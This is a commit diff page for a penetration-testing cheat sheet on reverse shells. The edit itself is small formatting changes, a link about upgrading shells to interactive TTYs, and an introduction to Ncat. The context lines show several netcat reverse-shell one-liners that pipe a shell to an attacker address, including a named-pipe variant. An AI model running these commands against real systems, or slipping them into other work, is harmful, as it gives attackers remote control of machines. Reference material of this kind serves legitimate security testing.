Commit e169cbd4 authored by Philip Linghammar's avatar Philip Linghammar
Browse files

Updates reverse-shell.md

Auto commit by GitBook Editor
parent 82532910
Loading
Loading
Loading
Loading
+5 −1
Original line number Diff line number Diff line
@@ -114,6 +114,7 @@ nc.exe 192.168.1.101 443 -e cmd.exe
```

**With -e flag**

```
nc -e /bin/sh ATTACKING-IP 80
```
@@ -126,8 +127,11 @@ nc -e /bin/sh ATTACKING-IP 80

```
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

```

Upgrade Netcat shell to an interactive: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

### Ncat

Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption. If you are on a pentestjob you might not want to communicate unencrypted.